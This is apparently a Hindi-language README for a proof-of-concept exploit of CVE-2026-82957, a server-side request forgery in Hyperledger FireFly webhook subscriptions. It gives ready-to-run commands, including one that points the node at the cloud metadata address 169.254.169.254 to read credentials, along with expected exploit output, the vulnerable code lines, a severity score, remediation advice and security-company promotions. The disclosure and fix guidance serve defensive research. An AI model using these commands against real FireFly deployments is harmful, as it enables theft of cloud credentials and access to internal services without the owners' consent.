
CVE-2026-82957 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Hyperledger FireFly वेबहुक सब्सक्रिप्शन में एक SSRF है जो नोड को आंतरिक या क्लाउड मेटाडेटा URL का अनुरोध करने के लिए बाध्य करता है।
CVE-2026-82957 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Hyperledger FireFly Core के webhooks इवेंट ट्रांसपोर्ट में एक Server-Side Request Forgery (CWE-918) है। कोई भी क्लाइंट जो इवेंट सदस्यता बना सकता है, वह एक webhook रजिस्टर कर सकता है जिसका लक्ष्य URL कभी मान्य नहीं किया जाता — जब कोई मेल खाता इवेंट होता है, तो FireFly नोड स्वयं HTTP अनुरोध जारी करता है। इसे केवल-आंतरिक पतों (क्लाउड मेटाडेटा, लूपबैक, RFC1918 सेवाएँ) की ओर इंगित करने से नोड एक confused deputy बन जाता है।
केवल Python 3 मानक लाइब्रेरी — कोई निर्भरता नहीं।
$ python3 cve_2026_82957.py --help
चरण 1 — उस मशीन पर एक लिसनर शुरू करें जिस पर FireFly नोड को हिट करना चाहिए (SSRF शिकार):
$ python3 -m http.server 8000 --bind 0.0.0.0
चरण 2 — एक्सप्लॉइट चलाएँ। -t FireFly API बेस URL है, -u वह URL है जिसे नोड को अनुरोध करने के लिए बाध्य किया जाएगा:
# Point at your listener (host as seen from the FireFly container)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://<host-ip>:8000/PWNED
# Arbitrary internal target (cloud metadata, internal service, etc.)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://169.254.169.254/latest/meta-data/
# Non-default namespace
$ python3 cve_2026_82957.py -t http://target:5000 -n default -u http://<host-ip>:8000/PWNED
Docker में चल रहे FireFly नोड के लिए, <host-ip> ब्रिज नेटवर्क गेटवे है — इसे docker network inspect <network> से खोजें (फ़ील्ड IPAM.Config.Gateway, उदाहरण के लिए 172.21.0.1)।
अपेक्षित आउटपुट:
[*] Step 1: creating webhook subscription with unvalidated internal URL
[+] Subscription accepted (201) - id 9bd2bbb9-... - host was NOT validated
[*] Step 2: triggering event to fire the webhook
[+] Broadcast accepted (202)
[!] The FireFly node has now issued the request itself.
लिसनर लॉग — स्रोत IP FireFly नोड का कंटेनर IP है, हमलावर की मशीन नहीं, जो साबित करता है कि अनुरोध सर्वर द्वारा जाली बनाया गया था। SSRF की पुष्टि हुई:
172.21.0.8 - - [12/Oct/2026 17:46:47] "GET /PWNED HTTP/1.1" 404 -
215c69181 ("Base implementation of webhooks invocation", 2021-06-20) में पेश किया गयाe3c9b8d89 (main) में अभी भी मौजूद — दोनों के बीच कोई भी कमिट होस्ट सत्यापन नहीं जोड़ताफ़ाइल: internal/events/webhooks/webhooks.go
| पंक्ति | कोड | समस्या |
|---|---|---|
| 191 | url: options.GetString("url") | लक्ष्य उपयोगकर्ता इनपुट से शब्दशः लिया गया |
| 266 | ValidateOptions(...) | प्रारूप/हेडर/टाइमआउट सत्यापित करता है लेकिन होस्ट कभी नहीं |
| 394 | req.r.Execute(req.method, req.url) | अनुरोध भेजा जाता है |
हल किए गए गंतव्य पर कोई allowlist/denylist नहीं है: लूपबैक, निजी (RFC1918), या लिंक-लोकल (169.254.0.0/16) पतों के लिए कोई ब्लॉक नहीं, और होस्ट व स्कीम दोनों पूरी तरह हमलावर के नियंत्रण में हैं। FireFly डिफ़ॉल्ट रूप से कोई API प्रमाणीकरण प्लगइन नहीं भेजता, इसलिए सदस्यता निर्माण अप्रमाणित हो सकता है।
POST /api/v1/namespaces/{ns}/subscriptions — दुर्भावनापूर्ण वेबहुक बनाता है (आंतरिक URL के लिए 201 Created लौटाता है)POST /api/v1/namespaces/{ns}/messages/broadcast) — जाली अनुरोध को ट्रिगर करता हैCWE-918 सर्वर-साइड रिक्वेस्ट फ़ॉर्जरी। एक हमलावर यह कर सकता है:
169.254.169.254) से क्लाउड क्रेडेंशियल पढ़ना → क्लाउड खाते में प्रवेश"reply": true के साथ आंतरिक प्रतिक्रिया हमलावर को FireFly घटना के रूप में लौटाई जाती है — ब्लाइंड नहीं~8.5 उच्च CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — गंभीरता इस पर निर्भर करती है कि API प्रमाणीकरण के पीछे है या नहीं।
ValidateOptions में, URL को पार्स करें, होस्ट को हल करें, और लूपबैक/निजी/लिंक-लोकल/अनिर्दिष्ट पतों को अस्वीकार करें; स्कीम को http/https तक सीमित करें; DNS-रिबाइंडिंग को विफल करने के लिए कनेक्शन के समय हल किए गए IP को पुनः जाँचें (कस्टम DialContext); अधिमानतः अनुमत वेबहुक होस्ट की एक कॉन्फ़िगर करने योग्य allowlist उपलब्ध कराएँ।
यह टूल केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। इसका उपयोग केवल उन सिस्टम पर करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट अनुमति है। लेखक इस प्रोग्राम के किसी भी दुरुपयोग या क्षति के लिए उत्तरदायी नहीं है।
QuimeraX Intelligence एक उन्नत EASM और साइबर खतरा खुफिया (Cyber Threat Intelligence) प्लेटफ़ॉर्म है जो जटिल प्रणालियों में महत्वपूर्ण कमज़ोरियों की पहचान करने में विशेषज्ञता रखता है। प्लेटफ़ॉर्म सक्रिय रूप से सुरक्षा खतरों की निगरानी, पहचान और ग्राहकों को सतर्क करता है, जिससे पारदर्शिता और संभावित जोखिमों के प्रति त्वरित प्रतिक्रिया सुनिश्चित होती है। यदि ग्राहकों के सिस्टम कमज़ोर पाए जाते हैं, तो उन्हें तत्काल सूचनाएँ और व्यापक रिपोर्ट प्राप्त होती हैं, जिससे वे सुरक्षात्मक कार्रवाई कर सकें। और जानें
Hakai Security एक साइबर सुरक्षा कंपनी है जिसकी स्थापना सुरक्षा पेशेवरों द्वारा की गई है, जो तकनीकी उत्कृष्टता के लिए प्रतिबद्ध है। हम अनुकूलित सुरक्षा समाधान प्रदान करते हैं जिनमें उन्नत पेनेट्रेशन टेस्टिंग, यथार्थवादी Red Team सिमुलेशन, और सुरक्षित विकास प्रथाएँ शामिल हैं, ताकि हमारे ग्राहकों की संपत्तियों को विकसित होते साइबर खतरों से सक्रिय रूप से सुरक्षित रखा जा सके।
Hacking Club एक प्रशिक्षण प्लेटफ़ॉर्म है जहाँ आप हमारी सुरक्षा परामर्श फर्म में कार्यरत विशेषज्ञों द्वारा बनाए गए व्यावहारिक पाठों, लैब्स और चुनौतियों के माध्यम से साइबर सुरक्षा सीखते हैं: सीधे युद्धक्षेत्र से आपके प्रशिक्षण तक।